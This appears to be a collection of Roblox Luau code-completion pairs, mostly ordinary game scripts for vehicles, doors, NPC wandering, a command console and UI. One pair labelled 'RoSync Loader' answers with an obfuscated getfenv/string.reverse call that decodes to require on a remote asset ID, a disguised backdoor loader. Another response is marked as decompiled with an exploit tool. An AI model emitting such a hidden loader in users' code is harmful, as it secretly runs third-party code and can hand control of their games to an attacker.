				return
			end
		end
		if i.Parent ~= nil and w == false then


Prompt: --Set target steering position based on current velocity

Response:
function Chassis.UpdateSteering(steer, currentVel)
	local baseSteer = steer
	local targetSteer = 0

	local vehicleSeat = Chassis.GetDriverSeat()
	local maxSpeed = VehicleParameters.MaxSpeed
	local maxSteer = VehicleParameters.MaxSteer

	local currentVelocity = vehicleSeat.Velocity

	if LimitSteerAtHighVel then
		local c = SteerLimit * (math.abs(currentVel)/VehicleParameters.MaxSpeed) + 1
		--decrease steer value as speed increases to prevent tipping (handbrake cancels this)
		steer = steer/c
	end
	SteeringPrismatic.TargetPosition = steer * steer * steer * maxSteer
end

function Chassis.UpdateThrottle(currentSpeed, throttle)
	local targetVel = 0
	local effectsThrottleState = false
	local gainModifier = 0

	if math.abs(throttle) < 0.1 then
		-- Idling
		setMotorMaxAcceleration(math.huge)
		setMotorTorque(2000)
	elseif math.sign(throttle * currentSpeed) > 0 or math.abs(currentSpeed) < 0.5 then
		setMotorMaxAcceleration(math.huge)

		local velocity = Chassis.driverSeat.Velocity
		local velocityVector = velocity.Unit
		local directionalVector = Chassis.driverSeat.CFrame.lookVector
		local dotProd = velocityVector:Dot(directionalVector) -- Dot product is a measure of how similar two vectors are; if they're facing the same direction, it is 1, if they are facing opposite directions, it is -1, if perpendicular, it is 0

		setMotorTorqueDamped(ActualDrivingTorque * throttle * throttle, dotProd, math.sign(throttle))
		-- Arbitrary large number
		local movingBackwards = dotProd < 0
		local acceleratingBackwards = throttle < 0
		local useReverse = (movingBackwards and acceleratingBackwards)

		local maxSpeed = (useReverse and VehicleParameters.ReverseSpeed or VehicleParameters.MaxSpeed)
		targetVel = math.sign(throttle) * maxSpeed

		-- if we are approaching max speed, we should take that as an indication of throttling down, even if not from input
		local maxAccelSpeed = targetVel
		local speedPercent = ((maxAccelSpeed-currentSpeed)/maxAccelSpeed) -- 0 if max speed, 1 if stopped

		-- lets say we start throttling down after reaching 75% of max speed, then linearly drop to 0
		local function quad(x)
			return math.sign(x)*(x^2)
		end

		local r = math.abs(velocity.Magnitude / maxSpeed*2.5) -- adding a bit to the max speed so that it sounds better (always trying to rev engines)
		local desiredRPM = math.exp(-3*r*r)

		gainModifier = desiredRPM

		if gainModifier > 0 then
			effectsThrottleState = true
		end
	else
		-- Braking
		setMotorMaxAcceleration(100)
		setMotorTorque(ActualBrakingTorque * throttle * throttle)
		targetVel = math.sign(throttle) * 500
	end

	Chassis.SetMotorVelocity(targetVel)
end

local redressingState = false
local targetAttachment
function Chassis.Redress()
	if redressingState then
		return
	end
	redressingState = true
	local p = Chassis.driverSeat.CFrame.Position + Vector3.new( 0,10,0 )
	local xc = Chassis.driverSeat.CFrame.RightVector
	xc = Vector3.new(xc.x,0,xc.z)
	xc = xc.Unit
	local yc = Vector3.new(0,1,0)

	if not targetAttachment then
		targetAttachment = RedressMount.RedressTarget
	end

	targetAttachment.Parent = Workspace.Terrain
	targetAttachment.Position = p
	targetAttachment.Axis = xc
	targetAttachment.SecondaryAxis = yc
	RedressMount.RedressOrientation.Enabled = true
	RedressMount.RedressPosition.Enabled = true
	wait(1.5)
	RedressMount.RedressOrientation.Enabled = false
	RedressMount.RedressPosition.Enabled = false
	targetAttachment.Parent = RedressMount
	wait(2)
	redressingState = false
end

function Chassis.Reset() --Reset user inputs and redress (For when a player exits the vehicle)
	Chassis.UpdateThrottle(1, 1) --Values must  be changed to replicate to client.
	Chassis.UpdateSteering(1, 0) --i.e. setting vel to 0 when it is 0 wont update to clients
	Chassis.EnableHandbrake()
	setMotorTorque(ActualBrakingTorque)
	Chassis.SetMotorVelocity(0)
	Chassis.UpdateSteering(0, 0)
	RedressMount.RedressOrientation.Enabled = true
	RedressMount.RedressPosition.Enabled = true
	RedressMount.RedressOrientation.Enabled = false
	RedressMount.RedressPosition.Enabled = false
	redressingState = false
end

return Chassis


Prompt:
-- Instances have a "Name" field.  Sort
-- by that name,

Response:
function CommonUtil.SortByName(items)
	function compareInstanceNames(i1, i2)
		return (i1.Name < i2.Name)
	end
	table.sort(items, compareInstanceNames)
	return items
end

return CommonUtil


Prompt:
--[=[
	Returns a list of all of the values that a table has.

	@param source table -- Table source to extract values from
	@return table -- A list with all the values the table has
]=]

Response:
function Table.values(source)
	local new = {}
	for _, val in pairs(source) do
		table.insert(new, val)
	end
	return new
end


Prompt: --// Folder Wrap

Response: Folder = service_Wrap(Folder, true)


Prompt: --PlayerClick

Response:
ClickDetector.MouseClick:Connect(function()
	if Ready == true then
		if Open == false then
			Ready = false
			Open = true
			Handle.TargetAngle = 90
			OpenSound:Play()
			OpenTween:Play()
			wait(.5)
			Ready = true
		elseif Open == true then
			Ready = false
			Open = false
			Handle.TargetAngle = 0
			CloseSound:Play()
			CloseTween:Play()
			wait(.5)
			Ready = true
		end
	end
end)


Prompt: -- This is the attack surface. It's imperitative that it is minimized as much as possible.


Prompt: -- Punch action

Response:
function Actions.Punch(player, actionLength)
	local hit = getHit(player)

	if hit then
		handleHit(hit, player)
	end
	--end

	--function self._action()
	--	self._destroy()
	--end

	-- Invoke action
	--self._action()
end


Prompt: --------|    Reference    |--------

Response:
local isServer = _L.RunService:IsServer()
local events = {}
local funcs = {}


Prompt: -- Create the level loader

Response:
local function loadLevel(level)
	-- Clear the current level
	for _, enemy in pairs(gameState.enemies) do
		enemy:Destroy()
	end

	-- Create the new level
	local levelData = ReplicatedStorage.Levels[level]
	for _, enemyData in pairs(levelData.Enemies) do
		local enemy = game.ServerStorage.Enemies[enemyData.Name]:Clone()
		enemy.Parent = workspace
		gameState.enemies[#gameState.enemies + 1] = enemy
	end

	-- Set the new level
	gameState.level = level
end


Prompt: --!strict

Response:
local Humanoid:Humanoid = script.Parent:WaitForChild("Humanoid")
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false)
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming, false)


Prompt:
--[[ Fullscreen Module API

fullscreenModule.FocusScreen(screenPart, manageLockingCharacterControl)
fullscreenModule.CreateButtonToFocusScreen(screenPart)
fullscreenModule.RemoveButton()

fullscreenModule.FocusedScreen = readonly Instance or nil

]]


Prompt: --Don't modify this script unless you really know what you're doing.

Response:
local WaitFor = (function(parent, child_name)
	local found = parent:FindFirstChild(child_name)
	while found == nil do
		parent.ChildAdded:wait()
		found = parent:FindFirstChild(child_name)
		if found then break end
	end
	return found
end)

local last = { neckC1 = nil, rshoC0 = nil, lshoC0 = nil, rhipC0 = nil, lhipC0 = nil }

local ApplyModifications = (function(weld, char)
	local torso = WaitFor(char, "Torso")
	local neck = WaitFor(torso, "Neck")
	local rsho = WaitFor(torso, "Right Shoulder")
	local lsho = WaitFor(torso, "Left Shoulder")
	local rhip = WaitFor(torso, "Right Hip")
	local lhip = WaitFor(torso, "Left Hip")

	local config = script.Parent.Configuration
	local head_ang = config["Head Angle"].Value
	local legs_ang = config["Legs Angle"].Value
	local arms_ang = config["Arms Angle"].Value
	local sit_ang  = config["Sitting Angle"].Value
	local sit_pos  = config["Sitting Position"].Value

	--First adjust sitting position and angle
	--Add 90 to the angle because that's what most people will be expecting.
	--weld.C1 = weld.C1 * CFrame.fromEulerAnglesXYZ(math.rad((sit_ang) + 90), 0, 0)

	--weld.C0 = CFrame.new(sit_pos)
	weld.C0 = weld.C0 * CFrame.new(0, 1, 0)

	last.neckC1 = neck.C1
	last.rshoC0 = rsho.C0
	last.lshoC0 = lsho.C0
	last.rhipC0 = rhip.C0
	last.lhipC0 = lhip.C0

	--Now adjust the neck angle.
	neck.C1 = neck.C1 * CFrame.fromEulerAnglesXYZ(math.rad(head_ang), 0, 0)

	--Now adjust the arms angle.
	rsho.C0 = rsho.C0 * CFrame.fromEulerAnglesXYZ(0, 0, 0)
	lsho.C0 = lsho.C0 * CFrame.fromEulerAnglesXYZ(0,math.rad(arms_ang), 0.3)
	lsho.C0 = lsho.C0 * CFrame.new(-1,0, -0.5)

	--Now the legs
	rhip.C0 = rhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(legs_ang))
	lhip.C0 = lhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(-legs_ang))
end)

local RevertModifications = (function(weld, char)
	--Any modifications done in ApplyModifications have to be reverted here if they
	--change any welds - otherwise people will wonder why their head is pointing the wrong way.

	local torso = WaitFor(char, "Torso")
	local neck = WaitFor(torso, "Neck")
	local rsho = WaitFor(torso, "Right Shoulder")
	local lsho = WaitFor(torso, "Left Shoulder")
	local rhip = WaitFor(torso, "Right Hip")
	local lhip = WaitFor(torso, "Left Hip")

	--Now adjust the neck angle.
	neck.C1 = last.neckC1 or CFrame.new()

	rsho.C0 = last.rshoC0 or CFrame.new()
	lsho.C0 = last.lshoC0 or CFrame.new()

	rhip.C0 = last.rhipC0 or CFrame.new()
	lhip.C0 = last.lhipC0 or CFrame.new()

	weld:Destroy()
end)

script.Parent.ChildAdded:connect(function(c)
	if c:IsA("Weld") then
		local character = nil
		if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then
			character = c.Part1.Parent
		else return end
		ApplyModifications(c, character)
	end
end)

script.Parent.ChildRemoved:connect(function(c)
	if c:IsA("Weld") then
		local character = nil
		if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then
			character = c.Part1.Parent
		else return end
		RevertModifications(c, character)
	end
end)


Prompt: -- Here be dragons

Response:
local Players = game:GetService("Players")
local Player = Players.LocalPlayer

return function (Cmdr)
	local Util = Cmdr.Util

	local Window = require(script:WaitForChild("Window"))
	Window.Cmdr = Cmdr

	local AutoComplete = require(script:WaitForChild("AutoComplete"))(Cmdr)
	Window.AutoComplete = AutoComplete

	-- Sets the Window.ProcessEntry callback so that we can dispatch our commands out
	function Window.ProcessEntry(text)
		text = Util.TrimString(text)

		if #text == 0 then return end

		Window:AddLine(Window:GetLabel() .. " " .. text, Color3.fromRGB(255, 223, 93))

		Window:AddLine(Cmdr.Dispatcher:EvaluateAndRun(text, Player, {
			IsHuman = true
		}))
	end

	-- Sets the Window.OnTextChanged callback so we can update the auto complete
	function Window.OnTextChanged (text)
		local command = Cmdr.Dispatcher:Evaluate(text, Player, true)
		local arguments = Util.SplitString(text)
		local commandText = table.remove(arguments, 1)
		local atEnd = false
		if command then
			arguments = Util.MashExcessArguments(arguments, #command.Object.Args)

			atEnd = #arguments == #command.Object.Args
		end

		local entryComplete = commandText and #arguments > 0

		if text:sub(#text, #text):match("%s") and not atEnd then
			entryComplete = true
			arguments[#arguments + 1] = ""
		end

		if command and entryComplete then
			local commandValid, errorText = command:Validate()

			Window:SetIsValidInput(commandValid, ("Validation errors: %s"):format(errorText or ""))

			local acItems = {}

			local lastArgument = command:GetArgument(#arguments)
			if lastArgument then
				local typedText = lastArgument.TextSegmentInProgress

				local isPartial = false
				if lastArgument.RawSegmentsAreAutocomplete then
					for i, segment in ipairs(lastArgument.RawSegments) do
						acItems[i] = {segment, segment}
					end
				else
					local items, options = lastArgument:GetAutocomplete()
					options = options or {}
					isPartial = options.IsPartial or false

					for i, item in pairs(items) do
						acItems[i] = {typedText, item}
					end
				end

				local valid = true

				if #typedText > 0 then
					valid, errorText = lastArgument:Validate()
				end

				if not atEnd and valid then
					Window:HideInvalidState()
				end

				return AutoComplete:Show(acItems, {
					at = atEnd and #text - #typedText + (text:sub(#text, #text):match("%s") and -1 or 0);
					prefix = #lastArgument.RawSegments == 1 and lastArgument.Prefix or "";
					isLast = #command.Arguments == #command.ArgumentDefinitions and #typedText > 0;
					numArgs = #arguments;
					command = command;
					arg = lastArgument;
					name = lastArgument.Name .. (lastArgument.Required and "" or "?");
					type = lastArgument.Type.DisplayName;
					description = (valid == false and errorText) or lastArgument.Object.Description;
					invalid = not valid;
					isPartial = isPartial;
				})
			end
		elseif commandText and #arguments == 0 then
			Window:SetIsValidInput(true)
			local exactCommand = Cmdr.Registry:GetCommand(commandText)
			local exactMatch
			if exactCommand then
				exactMatch = {exactCommand.Name, exactCommand.Name, options = {
					name = exactCommand.Name;
					description = exactCommand.Description;
				}}

				local arg = exactCommand.Args and exactCommand.Args[1]

				if type(arg) == "function" then
					arg = arg(command)
				end

				if
					arg
					and (not arg.Optional
					and arg.Default == nil)
				then
					Window:SetIsValidInput(false, "This command has required arguments.")
					Window:HideInvalidState()
				end
			else
				Window:SetIsValidInput(false, ("%q is not a valid command name. Use the help command to see all available commands."):format(commandText))
			end

			local acItems = {exactMatch}
			for _, cmd in pairs(Cmdr.Registry:GetCommandNames()) do
				if commandText:lower() == cmd:lower():sub(1, #commandText) and (exactMatch == nil or exactMatch[1] ~= commandText) then
					local commandObject = Cmdr.Registry:GetCommand(cmd)
					acItems[#acItems + 1] = {commandText, cmd, options = {
						name = commandObject.Name;
						description = commandObject.Description;
					}}
				end
			end

			return AutoComplete:Show(acItems)
		end

		Window:SetIsValidInput(false, "Use the help command to see all available commands.")
		AutoComplete:Hide()
	end

	Window:UpdateLabel()
	Window:UpdateWindowHeight()

	return {
		Window = Window;
		AutoComplete = AutoComplete;
	}
end


Prompt: -- ROBLOX deviation: omitted type imports from types file and defined MatcherState as any for now

Response:
type MatcherHintOptions = JestMatcherUtils.MatcherHintOptions
type MatcherState = any
type SyncExpectationResult = (any, any, any) -> {
	pass: boolean,
	message: () -> string,
}

local jasmineUtils = require(CurrentModule.jasmineUtils)
local equals = jasmineUtils.equals

local utils = require(CurrentModule.utils)
local iterableEquality = utils.iterableEquality

local isExpand, printExpectedArgs, printReceivedArgs, printCommon, isEqualValue, isEqualCall, isEqualReturn, countReturns, printNumberOfReturns, getRightAlignedPrinter, printReceivedCallsNegative, printExpectedReceivedCallsPositive, printDiffCall, isLineDiffableCall, isLineDiffableArg, printResult, printReceivedResults, isMock, isSpy, ensureMockOrSpy, ensureMock


Prompt: -- DO NOT EDIT UNLESS YOU KNOW WHAT YOU ARE DOING!!! --

Response:
 function onClicked()

 	script.Parent.Parent.D.D1.Transparency = 0
	script.Parent.Parent.D.D2.Transparency = 0
	script.Parent.Parent.D.D3.Transparency = 0.7
	script.Parent.Parent.D.D4.Transparency = 0.7
	script.Parent.Parent.D.D1.CanCollide = true
	script.Parent.Parent.D.D2.CanCollide = true
	script.Parent.Parent.D.D3.CanCollide = true
	script.Parent.Parent.D.D4.CanCollide = true
	script.Parent.Parent.E.D1.Transparency = 1
	script.Parent.Parent.E.D2.Transparency = 1
	script.Parent.Parent.E.D3.Transparency = 1
	script.Parent.Parent.E.D4.Transparency = 1
	script.Parent.Parent.E.D1.CanCollide = false
	script.Parent.Parent.E.D2.CanCollide = false
	script.Parent.Parent.E.D3.CanCollide = false
	script.Parent.Parent.E.D4.CanCollide = false
	wait(0.1)
	script.Parent.Parent.C.D1.Transparency = 0
	script.Parent.Parent.C.D2.Transparency = 0
	script.Parent.Parent.C.D3.Transparency = 0.7
	script.Parent.Parent.C.D4.Transparency = 0.7
	script.Parent.Parent.C.D1.CanCollide = true
	script.Parent.Parent.C.D2.CanCollide = true
	script.Parent.Parent.C.D3.CanCollide = true
	script.Parent.Parent.C.D4.CanCollide = true
	script.Parent.Parent.D.D1.Transparency = 1
	script.Parent.Parent.D.D2.Transparency = 1
	script.Parent.Parent.D.D3.Transparency = 1
	script.Parent.Parent.D.D4.Transparency = 1
	script.Parent.Parent.D.D1.CanCollide = false
	script.Parent.Parent.D.D2.CanCollide = false
	script.Parent.Parent.D.D3.CanCollide = false
	script.Parent.Parent.D.D4.CanCollide = false
	wait(0.1)
	script.Parent.Parent.B.D1.Transparency = 0
	script.Parent.Parent.B.D2.Transparency = 0
	script.Parent.Parent.B.D3.Transparency = 0.7
	script.Parent.Parent.B.D4.Transparency = 0.7
	script.Parent.Parent.B.D1.CanCollide = true
	script.Parent.Parent.B.D2.CanCollide = true
	script.Parent.Parent.B.D3.CanCollide = true
	script.Parent.Parent.B.D4.CanCollide = true
	script.Parent.Parent.C.D1.Transparency = 1
	script.Parent.Parent.C.D2.Transparency = 1
	script.Parent.Parent.C.D3.Transparency = 1
	script.Parent.Parent.C.D4.Transparency = 1
	script.Parent.Parent.C.D1.CanCollide = false
	script.Parent.Parent.C.D2.CanCollide = false
	script.Parent.Parent.C.D3.CanCollide = false
	script.Parent.Parent.C.D4.CanCollide = false
	wait(0.1)
	script.Parent.Parent.A.D1.Transparency = 0
	script.Parent.Parent.A.D2.Transparency = 0
	script.Parent.Parent.A.D3.Transparency = 0.7
	script.Parent.Parent.A.D4.Transparency = 0.7
	script.Parent.Parent.A.D1.CanCollide = true
	script.Parent.Parent.A.D2.CanCollide = true
	script.Parent.Parent.A.D3.CanCollide = true
	script.Parent.Parent.A.D4.CanCollide = true
	script.Parent.Parent.B.D1.Transparency = 1
	script.Parent.Parent.B.D2.Transparency = 1
	script.Parent.Parent.B.D3.Transparency = 1
	script.Parent.Parent.B.D4.Transparency = 1
	script.Parent.Parent.B.D1.CanCollide = false
	script.Parent.Parent.B.D2.CanCollide = false
	script.Parent.Parent.B.D3.CanCollide = false
	script.Parent.Parent.B.D4.CanCollide = false
	wait(0.1)

end

 script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: --[[ Last synced 11/13/2020 10:33 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
game:GetService("TweenService"):Create(script.Parent, TweenInfo.new(5, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, -1, false, 0), {
	Rotation = 360
}):Play();


Prompt: -- These functions handle making bots jump out of bus at various times

Response:
function DeliveryVehicle:getSkydiveDistances(numBots)
	local skydiveTimes = {}
	for _ = 1, math.ceil(0.3 * numBots) do
		table.insert(skydiveTimes, self.randomGenerator:NextNumber(self.travelBeforeActive, self.travelBeforeActive + 200))
	end

	for _ = 1, math.ceil(0.25 * numBots) do
		table.insert(skydiveTimes, self.randomGenerator:NextNumber(self.travelBeforeActive + 200, self.travelDistance * (2 / 7)))
	end

	for _ = 1, math.ceil(0.2 * numBots) do
		table.insert(skydiveTimes, self.randomGenerator:NextNumber(self.travelDistance * (2 / 7), self.travelDistance * (1 / 2)))
	end

	for _ = 1, math.ceil(0.15 * numBots) do
		table.insert(skydiveTimes,self.randomGenerator:NextNumber(self.travelDistance * (1 / 2), self.travelUntilInactive))
	end

	for _ = 1, math.ceil(0.1 * numBots) do
		table.insert(skydiveTimes, 100000)
	end

	table.sort(skydiveTimes)

	return skydiveTimes
end

function DeliveryVehicle:spawnSpecificPlayer(player)
	if not self.playersJumped[player] and tostring(PlayerMatchInfo.GetField(player, "teamNumber")) == string.sub(self.currentModel.Name, 16) then
		self.playersJumped[player] = true
		self:spawnPlayerFromVehicle(player)
		EventData:FireClient(player, "ExitedDeliveryVehicle")
	end
end

function DeliveryVehicle:manageSkydivingForBots()
	coroutine.wrap(function()
		local botsInGame = {}
		for _, player in pairs(Players:GetPlayers()) do
			if Util.playerIsBot(player) then
				table.insert(botsInGame, player)
			end
		end
		local skydiveDistances = self:getSkydiveDistances(#botsInGame)

		local curID = 1
		while curID <= #botsInGame and self:getCurrentPos() < self.travelUntilInactive do -- stop trying to skydive players when skydiving period ends
			if skydiveDistances[curID] <= self:getCurrentPos() then
				self:spawnSpecificPlayer(botsInGame[curID])
				curID = curID + 1
			else
				wait()
			end
		end
	end)()
end

return DeliveryVehicle


Prompt:
--======================================--
--===============Weld Part0(WP0)==============--
--======================================--

Response:
w1.Part0 = w1.Parent
w2.Part0 = w2.Parent
w3.Part0 = w3.Parent
w4.Part0 = w4.Parent
w5.Part0 = w5.Parent
w6.Part0 = w6.Parent
w7.Part0 = w7.Parent
w8.Part0 = w8.Parent
w9.Part0 = w9.Parent
w10.Part0 = w10.Parent
w11.Part0 = w11.Parent
w12.Part0 = w12.Parent


Prompt: ---Controls UI

Response:
script.Parent.Parent:WaitForChild("Controls")
script.Parent.Parent:WaitForChild("ControlsOpen")
script.Parent:WaitForChild("Window")
script.Parent:WaitForChild("Toggle")

local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local UserInputService = game:GetService("UserInputService")
local cPanel = script.Parent
local Controls = script.Parent.Parent.Controls

local ver = require(car["A-Chassis Tune"].README)
cPanel.Window["//INSPARE"].Text = "A-Chassis "..ver.." // INSPARE"

local controlsOpen = false
local cInputB = nil
local cInputT = nil
local cInput = false

for i,v in pairs(_Tune.Peripherals) do
	script.Parent.Parent.Controls:WaitForChild(i)
	local slider = cPanel.Window.Content[i]
	slider.Text = v.."%"
	slider.S.CanvasPosition=Vector2.new(v*(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset)/100,0)
	slider.S.Changed:connect(function(property)
		if property=="CanvasPosition" then
			Controls[i].Value = math.floor(100*slider.S.CanvasPosition.x/(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset))
			slider.Text = Controls[i].Value.."%"
		end
	end)
end

for i,v in pairs(_Tune.Controls) do
	script.Parent.Parent.Controls:WaitForChild(i)
	local button = cPanel.Window.Content[i]
	button.Text = v.Name
	button.MouseButton1Click:connect(function()
		script.Parent.Parent.ControlsOpen.Value = true
		cPanel.Window.Overlay.Visible = true
		cInput = true
		repeat wait() until cInputB~=nil
		if cInputB == Enum.KeyCode.Return or cInputB == Enum.KeyCode.KeypadEnter then
			--do nothing
		elseif string.find(i,"Contlr")~=nil then
			if cInputT.Name:find("Gamepad") then
				Controls[i].Value = cInputB.Name
				button.Text = cInputB.Name
			else
				cPanel.Window.Error.Visible = true
			end
		elseif i=="MouseThrottle" or i=="MouseBrake" then
			if cInputT == Enum.UserInputType.MouseButton1 or cInputT == Enum.UserInputType.MouseButton2 then
				Controls[i].Value = cInputT.Name
				button.Text = cInputT.Name
			elseif cInputT ==  Enum.UserInputType.Keyboard then
				Controls[i].Value = cInputB.Name
				button.Text = cInputB.Name
			else
				cPanel.Window.Error.Visible = true
			end
		else
			if cInputT == Enum.UserInputType.Keyboard then
				Controls[i].Value = cInputB.Name
				button.Text = cInputB.Name
			else
				cPanel.Window.Error.Visible = true
			end
		end
		cInputB = nil
		cInputT = nil
		cInput = false
		wait(.2)
		cPanel.Window.Overlay.Visible = false
		script.Parent.Parent.ControlsOpen.Value = false
	end)
end

cPanel.Window.Error.Changed:connect(function(property)
	if property == "Visible" then
		wait(3)
		cPanel.Window.Error.Visible = false
	end
end)

UserInputService.InputBegan:connect(function(input) if cInput then cInputB = input.KeyCode cInputT = input.UserInputType end end)
UserInputService.InputChanged:connect(function(input) if cInput and (input.KeyCode==Enum.KeyCode.Thumbstick1 or input.KeyCode==Enum.KeyCode.Thumbstick2) then cInputB = input.KeyCode cInputT = input.UserInputType end end)

cPanel.Toggle.MouseButton1Click:connect(function()
	controlsOpen = not controlsOpen
	if controlsOpen then
		cPanel.Toggle.TextColor3 = Color3.new(.15,.15,.15)
		cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0.5, -250),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)
	else
		cPanel.Toggle.TextColor3 = Color3.new(1,1,1)
		cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0, -500),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)
	end
end)

cPanel.Window.Tabs.Keyboard.MouseButton1Click:connect(function()
	cPanel.Window.Content:TweenPosition(UDim2.new(0, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)

cPanel.Window.Tabs.Mouse.MouseButton1Click:connect(function()
	cPanel.Window.Content:TweenPosition(UDim2.new(-1, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)

cPanel.Window.Tabs.Controller.MouseButton1Click:connect(function()
	cPanel.Window.Content:TweenPosition(UDim2.new(-2, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
	cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)
end)

wait(.5)
cPanel.Toggle:TweenPosition(UDim2.new(0.5, -50, 1, -25),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,false)
for i=1,6 do
	cPanel.Toggle.TextColor3 = Color3.new(100/255,100/255,100/255)
	wait(.2)
	if controlsOpen then
		cPanel.Toggle.TextColor3 = Color3.new(.15,.15,.15)
	else
		cPanel.Toggle.TextColor3 = Color3.new(1,1,1)
	end
	wait(.2)
end


Prompt: -- System Configuration

Response:
VisualUntilReset = true
TwoStage = false
FirstStageTime = 0


Prompt: -- Get the bear

Response: local bear = script.Parent -- replace with the path to your bear


Prompt: -- no touchy

Response:
local path
local waypoint
local oldpoints
local isWandering = 0

if canWander then
	spawn(function()
		while isWandering == 0 do
			isWandering = 1
			local desgx, desgz = hroot.Position.x + math.random(-WanderX, WanderX), hroot.Position.z + math.random(-WanderZ, WanderZ)
			human:MoveTo( Vector3.new(desgx, 0, desgz) )
			wait(math.random(4, 6))
			isWandering = 0
		end
	end)
end

while wait() do
	local enemytorso = GetTorso(hroot.Position)
	if enemytorso ~= nil then -- if player detected
		isWandering = 1
		local function checkw(t)
			local ci = 3
			if ci > #t then
				ci = 3
			end
			if t[ci] == nil and ci < #t then
				repeat
					ci = ci + 1
					wait()
				until t[ci] ~= nil
				return Vector3.new(1, 0, 0) + t[ci]
			else
				ci = 3
				return t[ci]
			end
		end

		path = pfs:FindPathAsync(hroot.Position, enemytorso.Position)
		waypoint = path:GetWaypoints()
		oldpoints = waypoint
		local connection;

		local direct = Vector3.FromNormalId(Enum.NormalId.Front)
		local ncf = hroot.CFrame * CFrame.new(direct)
		direct = ncf.p.unit
		local rootr = Ray.new(hroot.Position, direct)
		local phit, ppos = game.Workspace:FindPartOnRay(rootr, hroot)

		if path and waypoint or checkw(waypoint) then
			if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Walk then
				human:MoveTo( checkw(waypoint).Position )
				human.Jump = false
			end

			-- CANNOT LET BALDI JUMPS --
			--[[if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Jump then
				human.Jump = true
				connection = human.Changed:connect(function()
					human.Jump = true
				end)
				human:MoveTo( checkw(waypoint).Position )
			else
				human.Jump = false
			end]]

			--[[hroot.Touched:connect(function(p)
				local bodypartnames = GetPlayersBodyParts(enemytorso)
				if p:IsA'Part' and not p.Name == bodypartnames and phit and phit.Name ~= bodypartnames and phit:IsA'Part' and rootr:Distance(phit.Position) < 5 then
					connection = human.Changed:connect(function()
						human.Jump = true
					end)
				else
					human.Jump = false
				end
			end)]]

			if connection then
				connection:Disconnect()
			end

		else
			for i = 3, #oldpoints do
				human:MoveTo( oldpoints[i].Position )
			end
		end
	elseif enemytorso == nil and canWander then -- if player not detected
		isWandering = 0
		path = nil
		waypoint = nil
		human.MoveToFinished:Wait()
	end
end


Prompt: --[[Transmission]]

Response:
--
	Tune.Clutch			= true		-- Implements a realistic clutch.

	Tune.TransModes		= {"DCT"}												--[[
	[Modes]
		"Manual"	;	Traditional clutch operated manual transmission
		"DCT"		;	Dual clutch transmission, where clutch is operated automatically
		"Auto"		;	Automatic transmission that shifts for you

		>Include within brackets
			eg: {"Manual"} or {"DCT", "Manual"}
	>First mode is default mode				]]

	--[[Transmission]]
	Tune.ClutchType 	= "Clutch"										--[[
	[Types]
		"Clutch"			: Standard clutch, recommended
		"TorqueConverter"	: Torque converter, keeps RPM up
		"CVT"				: CVT, found in scooters
																		]]
	Tune.ClutchMode		= "Speed"									--[[
	[Modes]
		"Speed"		: Speed controls clutch engagement
		"RPM"		: Speed and RPM control clutch engagement			]]

	--Transmission Settings
	Tune.Stall			= false		-- Stalling, enables the bike to stall. An ignition plugin would be necessary. Disables if Tune.Clutch is false.
	Tune.ClutchEngage	= 25		-- How fast engagement is (0 = instant, 99 = super slow)

	--Torque Converter:
	Tune.TQLock 		= false		-- Torque converter starts locking at a certain RPM (see below if set to true)

	--Torque Converter and CVT:
	Tune.RPMEngage 		= 5300		-- Keeps RPMs to this level until passed

	--Clutch:
	Tune.SpeedEngage 	= 6		-- Speed the clutch fully engages at (Based on SPS)

	--Clutch: "RPM" mode
	Tune.ClutchRPMMult	= 1.0		-- Clutch RPM multiplier, recommended to leave at 1.0

	--Manual: Quick Shifter
	Tune.QuickShifter	= false 		-- To quickshift, cut off the throttle to upshift, and apply throttle to downshift, all without clutch.
